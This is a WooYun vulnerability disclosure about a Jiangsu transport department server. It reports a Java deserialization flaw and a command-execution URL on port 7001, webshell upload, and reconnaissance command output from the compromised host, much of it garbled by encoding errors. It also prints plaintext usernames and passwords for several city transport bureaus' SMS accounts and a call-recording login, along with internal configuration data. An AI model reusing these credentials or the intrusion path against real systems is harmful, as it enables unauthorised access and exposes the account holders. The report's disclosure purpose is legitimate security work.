当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168643

漏洞标题:江苏省交通厅某系统服务器存在多个漏洞,并getshell

相关厂商:江苏省交通厅

漏洞作者: 朱元璋

提交时间:2016-01-13 16:28

修复时间:2016-02-27 11:49

公开时间:2016-02-27 11:49

漏洞类型:系统/服务补丁不及时

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-13: 细节已通知厂商并且等待厂商处理中
2016-01-15: 厂商已经确认,细节仅向厂商公开
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2016-02-27: 细节向公众公开

简要描述:

详细说明:

0.png


1.png


地址**.**.**.**:7001/存在“Java 反序列化”漏洞

2.png


地址**.**.**.**:7001/jstsh/jsp/xinxwh/user/queryMoreGongd.do?flag=1存在命令执行漏洞

3.png


直接上传木马到服务器中

4.png


2015/10/2				
地区 话务量 咨询 投诉
南京 1137 646 197
无锡 301 147 73
徐州 257 100 58
常州 526 290 103
苏州 1071 680 166
南通 99 49 28
连云港 96 32 22
淮安 142 76 20
盐城 80 71 3
扬州 153 126 4
镇江 19 8 0
泰州 90 38 25
宿迁 86 29 29
总计 4057 2292 728
四个交通局的短信帐号:
扬州交通局短信user:yzjtj,pass:yzjtj359
连云港交通局短信user:lygjtj,pass:lygjtj361
泰州交通局短信user:tzjtj,pass:tzjtj362
宿迁交通局短信user:sqjtj,pass:sqjtj363
镇江交通局短信 zjjtj/zjjtj357
南通短信user:ntjtj,pass:ntjtj358
徐州短信xzjtj/xzjtj360
常州短信czjtj/czjtj356
100812-江苏省交通局信息配置表(南通、徐州、镇江):

项目编号 356
虚中心号 55
技能号 91
组号 19
监控工号 9356
监控小号码 1400300356
工号
录音用户名/密码 record356/letmein
短信号码 0519-85414001
短信计费号码 02552853222
小号码 DESKPHONE MODELNO
145198569001 3325
145198569002 3772

漏洞证明:

D:\jstsh_deploy\jstsh\jstsh>whoami
============================================================================================================r
cz-app\administrator
D:\jstsh_deploy\jstsh\jstsh>net user
============================================================================================================r
\\CZ-APP ���û��ʻ�
-------------------------------------------------------------------------------
Administrator Guest jstshuser
SUPPORT_388945a0
����ɹ���ɡ�
D:\jstsh_deploy\jstsh\jstsh>net share
============================================================================================================r
������ ��Դ ע��
-------------------------------------------------------------------------------
H$ H:\ Ĭ�Ϲ���
IPC$ Զ�� IPC
G$ G:\ Ĭ�Ϲ���
ADMIN$ C:\WINDOWS Զ�̹���
D$ D:\ Ĭ�Ϲ���
E$ E:\ Ĭ�Ϲ���
C$ C:\ Ĭ�Ϲ���
����ɹ���ɡ�
D:\jstsh_deploy\jstsh\jstsh>net view
============================================================================================================r
���������� ע��
-------------------------------------------------------------------------------
\\CTI-SERVER
\\CZ-APP
\\CZ-DB
\\CZKX-48EAB8E2A2
\\GPSDATA
\\VIDE-GONGAN
����ɹ���ɡ�
D:\jstsh_deploy\jstsh\jstsh>net start
============================================================================================================r
�Ѿ�������� Windows ����:
Application Experience Lookup Service
Application Layer Gateway Service
Automatic Updates
AutoUploadServer
Background Intelligent Transfer Service
COM+ Event System
Computer Browser
Cryptographic Services
DCOM Server Process Launcher
DHCP Client
Distributed Link Tracking Client
Distributed Transaction Coordinator
DNS Client
Error Reporting Service
Event Log
Flash Media Administration Server
Flash Media Server (FMS)
FMSHttpd
Help and Support
HID Input Service
IPSEC Services
LogCutterService
Logical Disk Manager
McAfee Engine Service
McAfee Framework ����
McAfee McShield
McAfee Task Manager
McAfee Validation Trust Protection Service
Network Connections
Network Location Awareness (NLA)
NTSyslog (2nd edition)
Plug and Play
Print Spooler
Protected Storage
PublishFlash
Remote Access Connection Manager
Remote Procedure Call (RPC)
Remote Registry
Secondary Logon
Security Accounts Manager
Server
Shell Hardware Detection
SJServiceMonitor
SNMP Service
SNMP Trap Service
System Event Notification
Task Scheduler
TCP/IP NetBIOS Helper
Telephony
Terminal Services
User Authentication Manager
WFWindowsService3
Windows Firewall/Internet Connection Sharing (ICS)
Windows Management Instrumentation
Windows Time
Wireless Configuration
Workstation
����ͬ���ն�
����ɹ���ɡ�
D:\jstsh_deploy\jstsh\jstsh>netstat -ano
============================================================================================================r
Active Connections
Proto Local Address Foreign Address State PID
TCP **.**.**.**:135 **.**.**.**:0 LISTENING 1100
TCP **.**.**.**:445 **.**.**.**:0 LISTENING 4
TCP **.**.**.**:1025 **.**.**.**:0 LISTENING 836
TCP **.**.**.**:1111 **.**.**.**:0 LISTENING 1968
TCP **.**.**.**:1935 **.**.**.**:0 LISTENING 3148
TCP **.**.**.**:3389 **.**.**.**:0 LISTENING 3284
TCP **.**.**.**:6780 **.**.**.**:0 LISTENING 5500
TCP **.**.**.**:8134 **.**.**.**:0 LISTENING 3412
TCP **.**.**.**:8135 **.**.**.**:0 LISTENING 3148
TCP **.**.**.**:17000 **.**.**.**:0 LISTENING 2100
TCP **.**.**.**:139 **.**.**.**:0 LISTENING 4
TCP **.**.**.**:1240 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1252 **.**.**.**:7141 CLOSE_WAIT 4764
TCP **.**.**.**:1254 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1263 **.**.**.**:1521 TIME_WAIT 0
TCP **.**.**.**:1271 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1283 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1291 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1292 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1293 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1294 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1295 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1296 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1297 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1298 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1299 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1300 **.**.**.**:139 TIME_WAIT 0
TCP **.**.**.**:1301 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1302 **.**.**.**:7141 TIME_WAIT 0
TCP **.**.**.**:1303 **.**.**.**:7141 ESTABLISHED 4764
TCP **.**.**.**:1313 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1643 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:1694 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2004 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2338 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2348 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2445 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2505 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2518 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2525 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2526 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2527 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2528 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2553 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2884 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:2933 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3175 **.**.**.**:1521 ESTABLISHED 2100
TCP **.**.**.**:3395 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3563 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3565 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3747 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3750 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:3796 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4073 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4096 **.**.**.**:17777 ESTABLISHED 2100
TCP **.**.**.**:4175 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4176 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4183 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4362 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4560 **.**.**.**:7141 CLOSE_WAIT 4764
TCP **.**.**.**:4566 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4602 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4746 **.**.**.**:7141 CLOSE_WAIT 4764
TCP **.**.**.**:4942 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4985 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:4986 **.**.**.**:1521 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:0 LISTENING 4764
TCP **.**.**.**:7001 **.**.**.**:1262 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:1272 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:1288 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:1913 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:1733 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:4728 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:6560 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:16068 FIN_WAIT_2 4764
TCP **.**.**.**:7001 **.**.**.**:18117 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:29031 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:34640 ESTABLISHED 4764
TCP **.**.**.**:7001 **.**.**.**:36570 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:45168 TIME_WAIT 0
TCP **.**.**.**:7001 **.**.**.**:48881 TIME_WAIT 0
TCP **.**.**.**:1029 **.**.**.**:0 LISTENING 3548
TCP **.**.**.**:1035 **.**.**.**:19350 ESTABLISHED 3196
TCP **.**.**.**:7001 **.**.**.**:0 LISTENING 4764
TCP **.**.**.**:11110 **.**.**.**:0 LISTENING 1968
TCP **.**.**.**:19350 **.**.**.**:0 LISTENING 3148
TCP **.**.**.**:19350 **.**.**.**:1035 ESTABLISHED 3148
UDP **.**.**.**:161 *:* 1816
UDP **.**.**.**:162 *:* 1844
UDP **.**.**.**:445 *:* 4
UDP **.**.**.**:500 *:* 836
UDP **.**.**.**:4174 *:* 4764
UDP **.**.**.**:4500 *:* 836
UDP **.**.**.**:123 *:* 1244
UDP **.**.**.**:137 *:* 4
UDP **.**.**.**:138 *:* 4
UDP **.**.**.**:123 *:* 1244
UDP **.**.**.**:1027 *:* 1244
D:\jstsh_deploy\jstsh\jstsh>tasklist /svc
============================================================================================================r
ӳ������ PID ����
========================= ======== ============================================
System Idle Process 0 ��ȱ
System 4 ��ȱ
smss.exe 608 ��ȱ
csrss.exe 708 ��ȱ
winlogon.exe 780 ��ȱ
services.exe 824 Eventlog, PlugPlay
lsass.exe 836 PolicyAgent, ProtectedStorage, SamSs
svchost.exe 1016 DcomLaunch
svchost.exe 1100 RpcSs
svchost.exe 1192 Dhcp, Dnscache
svchost.exe 1244 LmHosts, W32Time
svchost.exe 1260 AeLookupSvc, BITS, Browser, CryptSvc,
dmserver, EventSystem, helpsvc, HidServ,
lanmanserver, lanmanworkstation, Netman,
Nla, RasMan, Schedule, seclogon, SENS,
SharedAccess, ShellHWDetection, TrkWks,
winmgmt, wuauserv, WZCSVC
spoolsv.exe 1652 Spooler
msdtc.exe 1680 MSDTC
AutoUploadServer.exe 1872 AutoUploadServer
DpHost.exe 1892 DpHost
svchost.exe 1928 ERSvc
FMSMaster.exe 1952 FMS
FMSAdmin.exe 1968 FMSAdmin
LogCutterService.exe 252 LogCutterService
EngineServer.exe 340 McAfeeEngineService
FrameworkService.exe 360 McAfeeFramework
VsTskMgr.exe 1284 McTaskManager
mfevtps.exe 1448 mfevtp
NTSyslog.exe 1484 NTSYSLOG
PublishFlash.exe 1632 PublishFlash
svchost.exe 1708 RemoteRegistry
ServiceMonitor.exe 1720 SJServiceMonitor
snmp.exe 1816 SNMP
snmptrap.exe 1844 SNMPTRAP
SyncTerminal.exe 2100 SyncTerminal
Mcshield.exe 2304 McShield
mfeann.exe 2408 ��ȱ
svchost.exe 3284 TermService
httpd.exe 3412 FMSHttpd
svchost.exe 3460 TapiSrv
alg.exe 3548 ALG
httpd.exe 3844 ��ȱ
FMSEdge.exe 3148 ��ȱ
FMSCore.exe 3196 ��ȱ
wmiprvse.exe 5280 ��ȱ
csrss.exe 5900 ��ȱ
winlogon.exe 5928 ��ȱ
rdpclip.exe 4932 ��ȱ
explorer.exe 5068 ��ȱ
shstat.exe 5472 ��ȱ
NTSyslogApp.exe 5500 ��ȱ
jusched.exe 5508 ��ȱ
ctfmon.exe 716 ��ȱ
csrss.exe 4992 ��ȱ
winlogon.exe 5180 ��ȱ
rdpclip.exe 5748 ��ȱ
explorer.exe 5820 ��ȱ
shstat.exe 6012 ��ȱ
NTSyslogApp.exe 6016 ��ȱ
jusched.exe 6068 ��ȱ
ctfmon.exe 6100 ��ȱ
conime.exe 3184 ��ȱ
logon.scr 944 ��ȱ
cmd.exe 5236 ��ȱ
java.exe 4764 ��ȱ
naPrdMgr.exe 5080 ��ȱ
WFWindowsService3.exe 4760 WFWindowsService3
wmiprvse.exe 7644 ��ȱ
tasklist.exe 1468 ��ȱ
D:\jstsh_deploy\jstsh\jstsh>ipconfig /all
============================================================================================================r
Windows IP Configuration
Host Name . . . . . . . . . . . . : CZ-app
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
Ethernet adapter �������� 2:
Media State . . . . . . . . . . . : Media disconnected
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client)
Physical Address. . . . . . . . . : E4-1F-13-B3-A9-A6
Ethernet adapter ��������:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client) #2
Physical Address. . . . . . . . . : E4-1F-13-B3-A9-A4
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : **.**.**.**
Subnet Mask . . . . . . . . . . . : **.**.**.**
Default Gateway . . . . . . . . . : **.**.**.**
D:\jstsh_deploy\jstsh\jstsh>systeminfo
============================================================================================================r
������: CZ-APP
OS ����: Microsoft(R) Windows(R) Server 2003, Enterprise Edition
OS �汾: 5.2.3790 Service Pack 1 Build 3790
OS ������: Microsoft Corporation
OS ����: ����������
OS ��������: Multiprocessor Free
ע���������: ibm
ע�����֯:
��Ʒ ID: 69813-640-6506524-45145
��ʼ��װ����: 2010-9-27, 10:29:09
ϵͳ���ʱ��: 75 �� 1 Сʱ 48 �� 9 ��
ϵͳ������: IBM
ϵͳ�ͺ�: IBM System x -[7945I05]-
ϵͳ����: X86-based PC
������: ��װ�� 4 ����������
[01]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~2133 Mhz
[02]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~2133 Mhz
[03]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~2133 Mhz
[04]: x86 Family 6 Model 26 Stepping 5 GenuineIntel ~2133 Mhz
BIOS �汾: IBM - 0
Windows Ŀ¼: C:\WINDOWS
ϵͳĿ¼: C:\WINDOWS\system32
����豸: \Device\HarddiskVolume1
ϵͳ��������: zh-cn;����(�й�)
���뷨��������: ��ȱ
ʱ��: (GMT+08:00) ���������죬����ر�����������³ľ��
�����ڴ�����: 4,084 MB
���õ������ڴ�: 2,401 MB
ҳ���ļ�: ���ֵ: 1,857 MB
ҳ���ļ�: ����: 217 MB
ҳ���ļ�: ʹ����: 1,640 MB
ҳ���ļ�λ��: c:\pagefile.sys
��: WORKGROUP
��¼������: \\CZ-APP
�޲�����: ��װ�� 1 ���޲�����
[01]: Q147222
����: ��װ�� 2 �� NIC��
[01]: Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client)
������: �������� 2
״̬: ý���������ж�
[02]: Broadcom BCM5709C NetXtreme II GigE (NDIS VBD Client)
������: ��������
���� DHCP: ��
IP ��ַ
[01]: **.**.**.**
D:\jstsh_deploy\jstsh\jstsh>query user
============================================================================================================r
�û��� �Ự�� ID ״̬ ����ʱ�� ��¼ʱ��
jstshuser 1 ��Ƭ �� 2015-10-26 11:31
>administrator 2 ��Ƭ �� 2015-10-26 11:37
D:\jstsh_deploy\jstsh\jstsh>

修复方案:

加强安全意识

版权声明:转载请注明来源 朱元璋@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2016-01-15 15:42

厂商回复:

CNVD确认未复现所述情况,已经转由CNCERT下发给江苏分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价